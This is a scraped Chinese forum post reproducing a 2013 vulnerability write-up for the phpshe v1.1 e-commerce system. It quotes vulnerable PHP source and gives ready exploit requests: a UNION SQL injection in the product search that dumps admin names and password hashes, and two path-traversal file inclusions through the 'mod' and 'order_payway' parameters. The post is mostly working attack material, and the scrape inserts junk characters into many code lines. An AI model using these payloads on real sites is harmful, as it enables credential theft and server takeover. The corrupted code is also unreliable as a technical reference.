找回密码
 立即注册
查看: 2510|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
. R/ r6 P1 B  X* B$ t! F/* Phpshe v1.1 Vulnerability. ^" D# ]0 B6 I$ _4 n8 w7 P
/* ========================/ z  z- s4 A) B: U( R* C
/* By: : Kn1f32 p7 D) z2 d5 O/ u5 |" ?* B! p
/* E-Mail : 681796@qq.com
( {0 D( ~2 k- V: O( I7 w/*******************************************************/
0 G+ V7 j" N/ `) P1 _0×00 整体大概参数传输; W" p; d: T8 d- |4 s; |# _

& @" F) ]' K4 M1 ^0 I
" |5 ^& v3 w4 v+ e" H: R2 i

$ X- c! J6 d" o( z//common.php, n% p; s* Y. s; {: j7 d  y
if (get_magic_quotes_gpc()) {
  \9 f1 O; G4 f!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');% P0 ?& e. X: T" t, f4 E1 ?
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');/ E( q1 F& t2 m; `
}
- c% M- J, B' p$ Z9 u: m  B: @else {
- P( N  {1 U9 o" s; L. k8 I5 v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
* u' g1 Z, A+ r& ]% L( u!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: A' {# J, ~) E4 e( X) K}& i5 q. t; Z) U
session_start();
& a& E+ S7 N* R1 K: f1 k# @!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 m! a, O, v+ b7 k+ k. O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
+ q$ f4 l, }0 S3 ^
; {/ p) k; L( e, H& ?6 t, B0×01 包含漏洞
! O. t& a/ q. S7 P% X
0 I" W' `* |/ J4 j' _. i- k- S3 g; d
" z" `' X2 T! k. v
//首页文件
( B" g) c3 b" V! y5 n<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);6 |* r0 [1 L# N) s( k% |% c* w5 i
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞+ T4 H0 ^# T3 g  O$ U- Z+ O' k8 N
pe_result();
4 M7 O5 w4 Y# X2 i/ `?>( d1 g  o1 E6 V' d6 L; L
//common 文件 第15行开始1 Q, k4 K3 k5 F8 H" c. u
url路由配置
% G1 l( S" C: u+ g- Z' w$module = $mod = $act = 'index';
8 a5 Z6 \: z" T2 x; u- {& x4 d/ E$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);8 T" _: D' g/ c! H9 B
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);& I; u* e! \# S% k) M" u* h
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);( V* H" U5 A3 f7 }- {
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
/ G) K% M# q& L  z) _4 b: G( U7 a

; w7 f: L7 ^* m* s3 S' R1 q

9 }6 {' q) G5 b# d! V. Y6 Y; }5 M" v# @8 M 0×02 搜索注入
) @! v$ x' ^6 O8 p1 P 2 S1 d( x) o1 f: S' q
<code id="code2">

//product.php文件
" o7 S0 T6 d* _, T% G( ]1 s& Fcase 'list':6 d9 X& q3 p3 S2 x$ g
$category_id = intval($id);9 Q, m. _7 n. e( |! d
$info = $db->pe_select('category', array('category_id'=>$category_id));
" z3 V; s& i9 X( P9 o) L//搜索6 e4 j( q3 I. t! Q4 k& m
$sqlwhere = " and `product_state` = 1";
: H: Y" L% m) a' dpe_lead('hook/category.hook.php');
2 h' k0 O# a& i5 x+ }: ]8 Q# Wif ($category_id) {
0 [. l0 [" b% y1 q" `where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";3 [# I; @4 P: J# N. ^
}
+ q+ d* \; x- ~( n( u$ i0 v- z" l$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤* [( m9 C! R: t* S4 s
if ($_g_orderby) {
# n& p2 g2 o1 o$orderby = explode('_', $_g_orderby);
7 Q% [, f7 p: e$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 q; A1 i4 N2 \9 z}: Y# A$ ?# L; n! R8 S  g2 E+ \
else {* D& D: i* C0 P( X8 B* d8 X- l/ I0 ]
$sqlwhere .= " order by `product_id` desc";
* b  V! y$ P' H. g}9 `- q; [9 |) N( C
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 i# R, i0 m7 b  u; m0 w//热卖排行* Y2 N5 I0 J  ~  q1 I5 _7 B
$product_hotlist = product_hotlist();$ W  h; v2 J9 t1 {1 h) K
//当前路径8 E1 a* j4 n. j  i5 p0 O; `$ ~& w, ]! |
$nowpath = category_path($category_id);
! V- ~$ _6 N, F( ^# Z  \$seo = pe_seo($info['category_name']);( Y* _! A. R3 x& C
include(pe_tpl('product_list.html'));; e8 E5 O8 o7 \  d8 L
//跟进selectall函数库
/ i3 T2 H) t1 {  L" wpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 }, j% U; _3 r+ n& @/ g; z{
  n6 q2 N) K7 [4 A2 t" o//处理条件语句
$ ~! M6 b: ~0 n2 A  ?& Y$sqlwhere = $this->_dowhere($where);
* y- g) v% W& t1 M) H8 Dreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 S4 _4 {7 w: D) x) L$ Q" U}
6 x( I2 v) n$ f6 B. E% F//exp
- B7 k3 \3 f* ~0 ~2 p% L& Dproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1  g& O' q$ o. R& j) @6 B* j( v

</code>5 C& y/ \5 `, S2 x! l( r6 i

# X% D" m' P. B4 H! R2 `% g0×03 包含漏洞2% |$ e3 W9 J3 i& R7 ~
' G$ J9 G3 H. _- f
<code id="code3">

//order.php

case 'pay':


$ f6 P' i: Q+ c' R: T$ Y2 S$order_id = pe_dbhold($_g_id);


$ ~9 ]$ B7 t' r, \+ y' Q$cache_payway = cache::get('payway');

$ z6 x' Q( m) w8 A
foreach($cache_payway as $k => $v) {


1 j8 Q  d8 Z* E$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 Y/ z7 l- `& C/ m# l
if ($k == 'bank') {


) a- l: ]" T6 Y4 T  N. P! G( e$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


( @& c. F7 d  i7 D5 p* E3 v0 B}

$ L: J; [) S7 a: K3 g; K1 ~
}

' c! u* y! ?' S' l
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

8 `: @% c! t0 D
!$order['order_id'] && pe_error('订单号错误...');

( x1 p* @4 k' d, y1 f7 T- [
if (isset($_p_pesubmit)) {

8 O: G  [( Z- I: t
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


. h( W3 O" k, [2 M5 {$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

$ O2 {% v) c8 j) a9 k: S) j
foreach ($info_list as $v) {

  ~# p$ J" f2 E/ G, s
$order['order_name'] .= "{$v['product_name']};";$ L. M; u7 x5 X' e0 r, Q  A8 B


5 h: P& F1 D/ T5 e6 ?  r) P}

# |1 Z4 m2 A7 e9 f/ _2 A+ R
echo '正在为您连接支付网站,请稍后...';

: e) j2 D$ m( M# b" X( Z  G
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

% ^/ I! R+ q+ ]; Q9 }6 s
}//当一切准备好的时候就可以进行"鸡肋包含了"


6 z- B! w$ X6 I& L5 Y0 T8 w4 f9 j! Jelse {

& d! {) }# Z5 f0 k# F
pe_error('支付错误...');


; \$ e4 v/ P* ?  X- i2 T}


/ e& f. I* B$ t7 u0 h% V}


& M: ]! D( o( F2 t$seo = pe_seo('选择支付方式');


! c  U' Q" c1 q5 ?& c3 Cinclude(pe_tpl('order_pay.html'));


2 h  b$ Z* t9 M; Qbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
" r& V3 d* a' v8 xhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表